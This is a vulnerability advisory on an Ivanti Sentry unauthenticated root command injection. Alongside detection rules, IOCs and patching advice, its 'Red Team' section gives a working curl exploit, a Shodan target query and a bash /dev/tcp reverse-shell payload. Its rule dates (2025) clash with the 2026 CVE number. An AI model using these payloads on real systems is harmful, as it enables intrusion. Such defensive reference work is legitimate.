CVE-2026-10520
Executive Summary
CVE-2026-10520 is a critical OS Command Injection vulnerability in Ivanti Sentry, a network security and monitoring appliance. The flaw allows a remote, unauthenticated attacker to execute arbitrary operating system commands with root-level privileges. This is achieved by sending a specially crafted HTTP POST request to the /mics/api/v2/sentry/mics-config/handleMessage endpoint. The vulnerability affects versions prior to R10.5.2, R10.6.2, and R10.7.1. Given the CVSS score of 10.0 and the availability of a public proof-of-concept (PoC) and Nuclei template, this vulnerability poses an immediate and severe risk to all unpatched Ivanti Sentry deployments. Successful exploitation leads to full system compromise, data exfiltration, and potential lateral movement within the network.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 10.0 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low (L) - No special conditions or complex attack sequences are required.
- Privileges Required (PR): None (N) - The attacker does not need any authentication.
- User Interaction (UI): None (N) - No user action is required for exploitation.
- Scope (S): Unchanged (U) - The impact is confined to the vulnerable component.
- Confidentiality (C): High (H) - Complete disclosure of all data on the system.
- Integrity (I): High (H) - Complete compromise of system integrity.
- Availability (A): High (H) - Full loss of availability, potentially leading to a denial of service.
Threat Level: Critical. The combination of remote unauthenticated access, low complexity, and root-level code execution makes this a top-priority vulnerability for immediate patching.
Deep Dive & Mechanics
The vulnerability resides in the handleMessage API endpoint of the Ivanti Sentry's MICS (Management Interface and Control System) component. The application fails to properly sanitize user-supplied input within the message parameter of a POST request. This input is directly passed to an operating system command execution function.
The core of the exploit lies in the ability to inject XML-like structures into the message parameter. The vulnerable endpoint interprets this input and constructs a system command. By crafting a payload such as:
message=execute%20system%20%2fconfiguration%2fsystem%2fcommandexec%20%3ccommandexec%3e%3cindex%3e1%3c%2findex%3e%3creqandres%3eecho%20CVE-2026-10520%3c%2freqandres%3e%3c%2fcommandexec%3e
The attacker can inject arbitrary commands. The decoded payload instructs the system to execute a command via the /configuration/system/commandexec path. The <commandexec> tags encapsulate the command to be run, with <index> specifying a command slot and <reqandres> containing the actual OS command (in this case, echo CVE-2026-10520). The application then executes this command with root privileges, leading to full system compromise.
Vulnerable vs. Patched Code
The vulnerability is a classic OS command injection resulting from insufficient input validation. The vulnerable code likely directly concatenates or interpolates user input into a system command string without proper escaping or sanitization.
Vulnerable Code (Conceptual):
# Vulnerable Python-like pseudocode
def handle_message(message):
# Directly parsing user input without sanitization
command = parse_command_from_message(message)
os.system(command) # Executes with root privileges
Patched Code (Conceptual):
# Patched Python-like pseudocode
import shlex
import subprocess
def handle_message(message):
# Validate and sanitize input
if not is_valid_message(message):
return "Invalid message"
# Use a whitelist of allowed commands or parameters
command = parse_command_from_message(message)
if not is_allowed_command(command):
return "Command not allowed"
# Use subprocess with a list of arguments to prevent shell injection
subprocess.run(shlex.split(command), check=True)
The patched version would implement strict input validation, use a whitelist of allowed commands, and execute commands using a method that does not invoke a shell (e.g., subprocess.run with a list of arguments) to prevent injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A target running Ivanti Sentry version prior to R10.5.2, R10.6.2, or R10.7.1.
- Network access to the target's management interface (typically port 443 or 8443).
Exploitation Steps:
Identify Target: Use Shodan with the query
html:"Ivanti" html:"Sentry"to find potential targets.Send Malicious Request: Use
curlor a similar tool to send the crafted POST request.curl -k -X POST \ 'https://<TARGET_IP>/mics/api/v2/sentry/mics-config/handleMessage' \ -H 'Content-Type: application/x-www-form-urlencoded' \ -d 'message=execute%20system%20%2fconfiguration%2fsystem%2fcommandexec%20%3ccommandexec%3e%3cindex%3e1%3c%2findex%3e%3creqandres%3eid%3c%2freqandres%3e%3c%2fcommandexec%3e'This payload executes the
idcommand. A successful response will contain "Message handled successfully" and the output of theidcommand.Achieve Reverse Shell: Replace the
idcommand with a reverse shell payload (e.g., usingbash,nc, orpython). For example:# URL-encoded reverse shell (bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1) message=execute%20system%20%2fconfiguration%2fsystem%2fcommandexec%20%3ccommandexec%3e%3cindex%3e1%3c%2findex%3e%3creqandres%3ebash%20-c%20%27bash%20-i%20%3E%26%20%2fdev%2ftcp%2f10.0.0.1%2f4444%200%3E%261%27%3c%2freqandres%3e%3c%2fcommandexec%3eNote: Replace
10.0.0.1and4444with your attacker IP and listening port.
Blue Team (Detection & Response)
Detection Steps:
- Monitor HTTP Logs: Look for POST requests to
/mics/api/v2/sentry/mics-config/handleMessagewith aContent-Typeofapplication/x-www-form-urlencoded. - Inspect Payloads: Analyze the
messageparameter for suspicious patterns, such as:- The presence of
<commandexec>tags. - Encoded or decoded system commands (e.g.,
id,whoami,bash,nc,python). - Base64-encoded payloads.
- The presence of
- Check for Anomalous Processes: Monitor for unexpected processes spawned by the
sentryservice, especially those with root privileges. - Network Monitoring: Look for outbound connections from the Ivanti Sentry appliance to unknown IP addresses on unusual ports (e.g., 4444, 1337).
Response Steps:
- Isolate the Appliance: Immediately disconnect the affected Ivanti Sentry from the network to prevent further compromise.
- Collect Forensics: Capture memory, disk, and network logs for analysis.
- Apply Patches: Upgrade to a patched version (R10.5.2, R10.6.2, R10.7.1 or later).
- Rotate Credentials: Change all passwords and secrets stored on the compromised appliance.
- Scan for Backdoors: Perform a thorough scan for any backdoors, new user accounts, or unauthorized SSH keys.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/mics/api/v2/sentry/mics-config/handleMessagewith amessageparameter containing<commandexec>tags. - Outbound connections from the Ivanti Sentry appliance to external IPs on non-standard ports (e.g., 4444, 1337, 8080).
- Unusual DNS queries from the appliance to known malicious domains.
- HTTP POST requests to
Host IOCs:
- Unexpected processes running as root, such as
bash,nc,python, orperl. - New user accounts or modifications to
/etc/passwdor/etc/shadow. - Unauthorized SSH keys in
/root/.ssh/authorized_keys. - Suspicious files in
/tmp/or/var/tmp/with recent timestamps. - Modifications to system binaries or startup scripts.
- Unexpected processes running as root, such as
Log IOCs:
- Log entries in the Ivanti Sentry application logs showing "Message handled successfully" followed by command output.
- System logs (e.g.,
/var/log/auth.log,/var/log/syslog) showing unusual command executions.
Detection Engineering
YARA Rule
rule CVE_2026_10520_Ivanti_Sentry_RCE {
meta:
description = "Detects exploit attempts for CVE-2026-10520 in HTTP traffic"
author = "Valters IT"
date = "2025-04-10"
severity = "critical"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-10520"
strings:
$s1 = "/mics/api/v2/sentry/mics-config/handleMessage" ascii wide nocase
$s2 = "commandexec" ascii wide nocase
$s3 = "reqandres" ascii wide nocase
$s4 = "execute system" ascii wide nocase
condition:
all of ($s1, $s2, $s3, $s4)
}
Sigma Rule
title: CVE-2026-10520 - Ivanti Sentry OS Command Injection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests targeting the Ivanti Sentry handleMessage endpoint with command injection payloads.
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-10520
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/mics/api/v2/sentry/mics-config/handleMessage'
cs-uri-query|contains|all:
- 'commandexec'
- 'reqandres'
condition: selection
falsepositives:
- Legitimate administrative actions (rare)
level: critical
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2026-10520 - Ivanti Sentry OS Command Injection Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"/mics/api/v2/sentry/mics-config/handleMessage";
http_uri;
content:"commandexec";
http_client_body;
content:"reqandres";
http_client_body;
classtype:attempted-admin;
sid:10000001;
rev:1;
priority:1;
reference:cve,2026-10520;
)
Nuclei Template
id: CVE-2026-10520
info:
name: Ivanti Sentry - OS Command Injection
author: DhiyaneshDk
severity: critical
description: |
An OS Command Injection vulnerability in Ivanti Sentry before the R10.5.2, R10.6.2 and R10.7.1 versions allows a remote unauthenticated user to achieve root-level remote code execution
impact: |
Remote unauthenticated attackers can execute code as root, leading to full system compromise.
remediation: |
Upgrade to versions R10.5.2, R10.6.2, or R10.7.1 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-10520
- https://github.com/watchtowrlabs/watchTowr-vs-Ivanti-Sentry-RCE-CVE-2026-10520-CVE-2026-10523/blob/main/README.md
metadata:
verified: true
max-request: 1
shodan-query: html:"Ivanti" html:"Sentry"
tags: cve,cve2026,ivanti,sentry,rce
http:
- raw:
- |
POST /mics/api/v2/sentry/mics-config/handleMessage HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
message=execute%20system%20%2fconfiguration%2fsystem%2fcommandexec%20%3ccommandexec%3e%3cindex%3e1%3c%2findex%3e%3creqandres%3eecho%20CVE-2026-10520%3c%2freqandres%3e%3c%2fcommandexec%3e
matchers-condition: and
matchers:
- type: word
part: body
words:
- "Message handled successfully"
- "CVE-2026-10520"
condition: and
- type: status
status:
- 200
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade Ivanti Sentry to version R10.5.2, R10.6.2, R10.7.1, or later. This is the only definitive fix.
- Workaround: If patching is not immediately possible, restrict network access to the
/mics/api/v2/sentry/mics-config/handleMessageendpoint. Use a web application firewall (WAF) or reverse proxy to block POST requests containing the stringscommandexecandreqandresin the request body. - Monitor: Implement the detection rules provided in this report to identify any exploitation attempts.
Long-Term Mitigations:
- Network Segmentation: Place Ivanti Sentry appliances in a dedicated, isolated network segment with strict access controls.
- Least Privilege: Ensure that the service account running the Sentry application has the minimum necessary privileges.
- Input Validation: Implement robust input validation and sanitization for all user-supplied data, especially in API endpoints.
- Regular Audits: Conduct regular security audits and vulnerability scans of all network appliances.
Valters IT
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.